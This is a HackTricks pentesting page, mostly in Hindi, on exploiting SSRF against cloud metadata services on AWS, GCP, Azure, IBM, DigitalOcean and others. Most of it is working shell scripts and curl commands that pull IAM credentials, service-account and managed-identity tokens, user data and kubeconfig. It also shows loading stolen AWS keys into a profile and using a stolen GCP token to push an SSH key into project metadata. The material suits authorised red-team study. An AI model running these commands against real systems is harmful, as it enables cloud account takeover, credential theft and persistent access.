क्लाउड SSRF
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
AWS
AWS EC2 environment में SSRF का दुरुपयोग
The metadata endpoint तक किसी भी EC2 मशीन के अंदर से पहुँच बनाई जा सकती है और यह मशीन के बारे में रोचक जानकारी देता है। यह इस URL पर उपलब्ध है: http://169.254.169.254 (information about the metadata here).
metadata endpoint के 2 संस्करण हैं। पहला संस्करण endpoint को GET रिक्वेस्ट्स के माध्यम से access करने की अनुमति देता है (इसलिए कोई भी SSRF इसे exploit कर सकता है)। दूसरे के लिए, IMDSv2, आपको एक token के लिए PUT रिक्वेस्ट भेजनी होगी जिसमें एक HTTP header शामिल हो और फिर उस token का उपयोग एक अन्य HTTP header के साथ metadata तक पहुँचने के लिए करना होगा (इसलिए SSRF से इसे दुरुपयोग करना थोड़ा अधिक जटिल है)।
Caution
ध्यान दें कि अगर EC2 instance IMDSv2 लागू कर रहा है, according to the docs, तो PUT request के response में hop limit of 1 होगा, जिससे EC2 metadata को उस EC2 instance के अंदर किसी container से access करना असंभव हो जाएगा।
इसके अलावा, IMDSv2 उन requests को भी block requests to fetch a token that include the
X-Forwarded-Forheader` से रोकता है। यह misconfigured reverse proxies को इसे access करने से रोकने के लिए है।
आप metadata endpoints in the docs के बारे में जानकारी पा सकते हैं। नीचे दिए गए script में उससे कुछ रोचक जानकारी प्राप्त की गई है:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
एक उदाहरण जहाँ publicly available IAM credentials उजागर हैं देखने के लिए आप जा सकते हैं: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
आप public EC2 security credentials भी यहाँ देख सकते हैं: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
फिर आप those credentials and use them with the AWS CLI ले सकते हैं। इससे आप anything that role has permissions करने में सक्षम होंगे।
नए credentials का फायदा उठाने के लिए, आपको इस तरह का एक नया AWS profile बनाना होगा:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
ध्यान दें कि aws_session_token, प्रोफ़ाइल के काम करने के लिए अनिवार्य है।
PACU का उपयोग मिली हुई credentials के साथ आपके privileges का पता लगाने और उन्हें escalate करने का प्रयास करने के लिए किया जा सकता है।
AWS ECS (Container Service) credentials में SSRF
ECS, EC2 instances के एक logical group है जिस पर आप एक application चला सकते हैं बिना अपनी cluster management infrastructure को scale किए क्योंकि ECS इसके लिए प्रबंधन करता है। अगर आप ECS में चल रहे किसी service को compromise करने में सफल हो जाते हैं, तो metadata endpoints बदल जाते हैं।
अगर आप http://169.254.170.2/v2/credentials/<GUID> तक पहुँचते हैं तो आपको ECS मशीन के credentials मिलेंगे। लेकिन पहले आपको <GUID> ढूँढनी होगी। <GUID> ढूँढने के लिए आपको मशीन के अंदर environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI को पढ़ना होगा।
आप इसे file:///proc/self/environ पर Path Traversal exploit करके पढ़ पाने में सक्षम हो सकते हैं।
उक्त http address आपको AccessKey, SecretKey and token देगा।
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tip
ध्यान दें कि कुछ मामलों में आप कंटेनर से EC2 metadata instance तक पहुँच पाएँगे (पहले उल्लिखित IMDSv2 TTL limitations को देखें)। इन परिदृश्यों में कंटेनर से आप दोनों, container IAM role और EC2 IAM role, तक पहुँच सकते हैं।
AWS Lambda के लिए SSRF
इस मामले में credentials env variables में स्टोर होते हैं। इसलिए, उन्हें एक्सेस करने के लिए आपको file:///proc/self/environ जैसा कुछ एक्सेस करना होगा।
दिलचस्प env variables के नाम हैं:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCES_KEY_ID
इसके अलावा, IAM credentials के साथ-साथ, Lambda functions के पास वह event data जो function के शुरू होने पर पास किया जाता है भी होता है। यह डेटा function को runtime interface के माध्यम से उपलब्ध कराया जाता है और इसमें संवेदनशील जानकारी (जैसे stageVariables के अंदर) हो सकती है। IAM credentials के विपरीत, यह डेटा standard SSRF के माध्यम से http://localhost:9001/2018-06-01/runtime/invocation/next पर एक्सेस किया जा सकता है।
Warning
ध्यान दें कि lambda credentials env variables के अंदर होते हैं। इसलिए यदि lambda कोड का stack trace env vars प्रिंट करता है, तो ऐप में error पैदा करके इन्हें exfiltrate करना संभव हो सकता है।
AWS Elastic Beanstalk के लिए SSRF URL
हम API से accountId और region प्राप्त करते हैं।
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
हम फिर API से AccessKeyId, SecretAccessKey, और Token प्राप्त करते हैं।
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
फिर हम credentials का उपयोग करते हैं aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/ के साथ।
GCP
You can find here the docs about metadata endpoints.
SSRF URL for Google Cloud
Requires the HTTP header Metadata-Flavor: Google and you can access the metadata endpoint in with the following URLs:
जानकारी निकालने के लिए दिलचस्प endpoints:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta को अभी हेडर की आवश्यकता नहीं है (धन्यवाद Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Caution
In order to use the exfiltrated service account token आप बस यह कर सकते हैं:
# Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # Via setup echo "<token>" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file
SSH कुंजी जोड़ें
Token निकालें
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
token के scope की जाँच करें (पिछले output से या निम्नलिखित चलाकर)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
अब SSH key push करें।
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
metadata endpoint VMs में जैसा ही काम करता है, लेकिन कुछ endpoints नहीं होते:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Digital Ocean
Warning
AWS Roles या GCP service account जैसी चीज़ें नहीं हैं, इसलिए metadata bot credentials मिलने की उम्मीद न रखें
डॉक्यूमेंटेशन उपलब्ध है: https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- अनिवार्य है कि हेडर
Metadata: trueमौजूद हो - नहीं होना चाहिए कोई
X-Forwarded-Forहेडर
Tip
एक Azure VM में 1 system managed identity और कई user managed identities जुड़ी हो सकती हैं। जिसका मूल रूप से मतलब है कि आप VM से जुड़ी सभी managed identities को impersonate कर सकते हैं।
जब metadata endpoint से access token माँगा जाता है, तो डिफ़ॉल्ट रूप से metadata service टोकन बनाने के लिए system assigned managed identity का उपयोग करेगा, यदि कोई system assigned managed identity मौजूद हो। यदि सिर्फ़ एक ही ONE user assigned managed identity है, तो डिफ़ॉल्ट रूप से वही उपयोग किया जाएगा। हालांकि, यदि कोई system assigned managed identity नहीं है और वहाँ multiple user assigned managed identities हैं, तो metadata service एक त्रुटि लौटाएगा यह बताकर कि कई managed identities मौजूद हैं और यह आवश्यक है कि आप specify which one to use।
दुर्भाग्यवश मुझे कोई ऐसा metadata endpoint नहीं मिला जो दिखाए कि किसी VM में कौन-कौन से MIs जुड़े हैं, इसलिए किसी VM से जुड़े सभी assigned managed identities पता करना Red Team के दृष्टिकोण से कठिन हो सकता है।
इसलिए, सभी जुड़े MIs खोजने के लिए आप कर सकते हैं:
- az cli के साथ attached identities प्राप्त करें (यदि आपने पहले से ही Azure tenant में किसी principal को compromised कर लिया है और उसके पास permission
Microsoft.Compute/virtualMachines/readहै)az vm identity show \ --resource-group <rsc-group> \ --name <vm-name>
- metadata में default attached MI का उपयोग करके attached identities प्राप्त करें:
export API_VERSION="2021-12-13" # Get token from default MI export TOKEN=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ | jq -r '.access_token') # Get needed details export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') # Try to get attached MIs curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- tenant में परिभाषित सभी managed identities प्राप्त करें और यह देखने के लिए brute force करें कि क्या उनमें से कोई VM से जुड़ा है (permission
Microsoft.ManagedIdentity/userAssignedIdentities/readचाहिए):az identity list[!CAUTION] टोकन अनुरोधों में
object_id,client_idयाmsi_res_idमें से किसी भी parameter का उपयोग करें ताकि उस managed identity को निर्दिष्ट किया जा सके जिसे आप उपयोग करना चाहते हैं (docs). यदि कोई नहीं दिया गया, तो default MI उपयोग किया जाएगा।
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Warning
ध्यान दें कि endpoint
http://169.254.169.254/metadata/v1/instanceinfoकोMetadata: Trueheader` की आवश्यकता नहीं है जो Azure में उन SSRF vulnerabilities में प्रभाव दिखाने के लिए बहुत उपयोगी है जहाँ आप यह header जोड़ नहीं सकते।
Azure App & Functions सेवाएँ और Automation Accounts
env से आप IDENTITY_HEADER और IDENTITY_ENDPOINT के मान प्राप्त कर सकते हैं। इनका उपयोग metadata server से संवाद करने के लिए token प्राप्त करने में किया जा सकता है।
अधिकांश समय, आपको इन संसाधनों में से किसी एक के लिए token चाहिए होगा:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
Caution
token requests में किसी भी parameter
object_id,client_idयाmsi_res_idका उपयोग करें ताकि आप उस managed identity को संकेत कर सकें जिसे आप उपयोग करना चाहते हैं (docs). यदि कोई नहीं दिया गया तो default MI will be used.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
Warning
ध्यान दें कि IBM में डिफ़ॉल्ट रूप से मेटाडेटा सक्षम नहीं होता है, इसलिए संभव है कि आप इसे एक्सेस न कर पाएं, भले ही आप किसी IBM cloud VM के अंदर हों
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Documentation for various platforms’ metadata services नीचे दिया गया है, जो यह बताता है कि configuration और runtime जानकारी instances तक कैसे एक्सेस की जा सकती है। प्रत्येक प्लेटफ़ॉर्म के पास metadata services को एक्सेस करने के लिए अलग-अलग endpoints हैं।
Packetcloud
Packetcloud की metadata को एक्सेस करने के लिए, दस्तावेज़ यहाँ पाया जा सकता है: https://metadata.packet.net/userdata
OpenStack/RackSpace
यहाँ header की आवश्यकता का उल्लेख नहीं किया गया है। Metadata को निम्न के माध्यम से एक्सेस किया जा सकता है:
http://169.254.169.254/openstack
HP Helion
यहाँ भी header की आवश्यकता का उल्लेख नहीं है। Metadata उपलब्ध है:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud विभिन्न metadata पहलुओं को एक्सेस करने के लिए निम्न endpoints प्रदान करता है:
http://192.0.0.192/latest/http://192.0.0.192/latest/user-data/http://192.0.0.192/latest/meta-data/http://192.0.0.192/latest/attributes/
Alibaba
Alibaba metadata को एक्सेस करने के लिए endpoints प्रदान करता है, जिसमें instance और image IDs शामिल हैं:
http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD में API keys, internal IP addresses, और ports हो सकते हैं। Access का उदाहरण नीचे दिया गया है:
curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Docker metadata को लोकली एक्सेस किया जा सकता है, नीचे containers और images की जानकारी प्राप्त करने के उदाहरण दिए गए हैं:
- साधारण उदाहरण जो Docker socket के माध्यम से containers और images metadata तक पहुँच दिखाता है:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash- container के अंदर, Docker socket के साथ curl का उपयोग करें:
curl --unix-socket /var/run/docker.sock http://foo/containers/jsoncurl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancher की metadata को निम्न तरीके से एक्सेस किया जा सकता है:
curl http://rancher-metadata/<version>/<path>
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


